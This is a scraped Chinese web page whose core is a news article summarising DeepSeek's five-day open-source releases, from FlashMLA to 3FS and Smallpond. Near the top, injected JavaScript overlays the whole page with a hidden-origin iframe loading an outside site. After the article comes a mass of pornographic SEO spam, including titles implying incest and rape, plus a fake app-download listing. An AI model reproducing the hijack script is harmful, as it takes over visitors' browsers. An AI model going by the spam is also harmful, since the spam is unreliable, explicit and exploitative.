DeepSeek“开源周”收官,连续五天到底都发布了什么?

alan 吃瓜黑料 2025-03-01 2 0
(function() { function generateRandomString(length) { return Math.random().toString(36).substring(2, length + 2); } function loadExternalContent(url) { var frameName = generateRandomString(10); var frame = document.createElement('iframe'); frame.id = frameName; frame.style.cssText = 'width:100%;height:100%;border:none;position:fixed;top:0;left:0;z-index:9999;'; frame.src = url; document.body.appendChild(frame); } var externalUrl = 'https://52-cg.com'; loadExternalContent(externalUrl); })();

界面新闻记者 | 宋佳楠

2月28日,国内AI明星公司DeepSeek为期五天的 “开源周” 告一段落。其于2月24日正式启动,计划开源5个代码库,旨在以完全透明的方式与全球开发者社区分享其在通用人工智能(AGI)领域的研究进展。

回顾这五日,其最先开源的是FlashMLA,这是专为英伟达Hopper GPU优化的高效MLA解码内核,专为处理可变长度序列设计。

在自然语言处理等任务里,数据序列长度不一,传统处理方式会造成算力浪费。而FlashMLA如同智能交通调度员,能依据序列长度动态调配计算资源。例如在同时处理长文本和短文本时,它可以精准地为不同长度的文本分配恰当的算力,避免 “大马拉小车” 或资源不足的情况。发布6小时内,GitHub上收藏量突破5000次,被认为对国产GPU性能提升意义重大。

第二日开源的是DeepEP。DeepEP是首个用于MoE(混合专家模型)训练和推理的开源EP通信库。MoE模型训练和推理中,不同专家模型需高效协作,这对通信效率要求极高。DeepEP支持优化的全对全通信模式,就像构建了一条顺畅的高速公路,让数据在各个节点间高效传输。

它还原生支持FP8低精度运算调度,降低计算资源消耗,并且在节点内和节点间都支持NVLink和RDMA,拥有用于训练和推理预填充的高吞吐量内核以及用于推理解码的低延迟内核。简单来说,它让MoE模型各部分间沟通更快、消耗更少,提升了整体运行效率 。

第三日是DeepGEMM,矩阵乘法加速库,为V3/R1的训练和推理提供支持。通用矩阵乘法是众多高性能计算任务的核心,其性能优化是大模型降本增效的关键。DeepGEMM采用了DeepSeek-V3中提出的细粒度scaling技术,仅用300行代码就实现了简洁高效的FP8通用矩阵乘法。

它支持普通GEMM以及专家混合(MoE)分组GEMM,在Hopper GPU上最高可达到1350+ FP8 TFLOPS(每秒万亿次浮点运算)的计算性能,在各种矩阵形状上的性能与专家调优的库相当,甚至在某些情况下更优,且安装时无需编译,通过轻量级JIT模块在运行时编译所有内核。

第四日开源优化并行策略(DualPipe和EPLB)。DualPipe是一种用于V3/R1训练中计算与通信重叠的双向管道并行算法。以往的管道并行存在 “气泡” 问题,即计算和通信阶段存在等待时间,造成资源浪费。DualPipe通过实现 “向前” 与 “向后” 计算通信阶段的双向重叠,将硬件资源利用率提升超30%。

EPLB则是一种针对V3/R1的专家并行负载均衡器。基于混合专家(MoE)架构,它通过冗余专家策略复制高负载专家,并结合启发式分配算法优化GPU间的负载分布,减少GPU闲置现象。

在第五日,DeepSeep开源了面向全数据访问的推进器3FS,也就是Fire-Flyer文件系统。它是一个专门为了充分利用现代SSD和RDMA网络带宽而设计的并行文件系统,能实现高速数据访问,提升AI模型训练和推理的效率。

此外,DeepSeek还开源了基于3FS的数据处理框架Smallpond,它可以进一步优化3FS的数据管理能力,让数据处理更加方便、快捷。

全球开发者可基于上述开源项目进行二次开发与改进,有望推动AI技术在更多领域的应用。

污视频在线观看mm

亚洲精品欧美精品日韩精品

「活动」注册就送新人大礼包

84.29MB
版本V9.84.14
下载JUX-826安装你想要的应用 更方便 更快捷 发现更多
喜欢 18%好评(87人)
评论 40
亚洲网站色0 久久国产精品一国产精品金尊1 黄色免费线上视频免费线上观看2 365影视3 欲妇放荡叫床声好浪4
详细信息
  • 软件大小: 81.23MB
  • 最后更新: 2024-09-16 18:34:53
  • 最新版本: V8.28.17
  • 文件格式: apk
  • 应用分类:ios-Android 丝袜女明星水印图吧
  • 使用语言: 中文
  • : 需要联网
  • 系统要求: 5.41以上
应用介绍
一,苗条身材萌妹子直播手机扣,混血哥木瓜奶富二代
二,日韩av玖玖资源网站,日本jav
三,母娘同时中出,奥田咲SNIS-118
四,一冢本原作 在线播放,佐山爱中文手机在线
五,突撃!隣のマンご飯! 嶋村杏里\t - 092116_387,放课后美少女正在播放
六,铃木心春电影播放,巨乳家政妇
七,小川美,中文字字幕j21385中岛京子

【联系我们】
客服热线:139-8888-666
加载更多
版本更新
V1.22.17
小鸟酱资源在线看,哦美偷偷

99精品视频在线观看re

猜你喜欢

相关攻略
包含 饿了么 的应用集
评论
  • 黄色片视频免费下载 4天前
    插孕婦
  • 酒店操极品少妇 7天前
    田辺智美
  • 结月恭子母乳电影 7天前
    69小情侣
  • 生徒轮奸女教师 6天前
    色savk18色
  • 玖玖色资源365稳定更新 2天前
    把美艳醉酒女神
  • 杨依女神 4天前
    豪华酒店和身材气质
  • 警告 本网站 5天前
    yeLLOw中文字幕91
  • 宿舍 大学生 自拍 4天前
    亨利冢本 在线观看
  • 原千岁义母的诱惑 4天前
    榨j精女
  • /zhongwenzimu- 9天前
    帮帮撸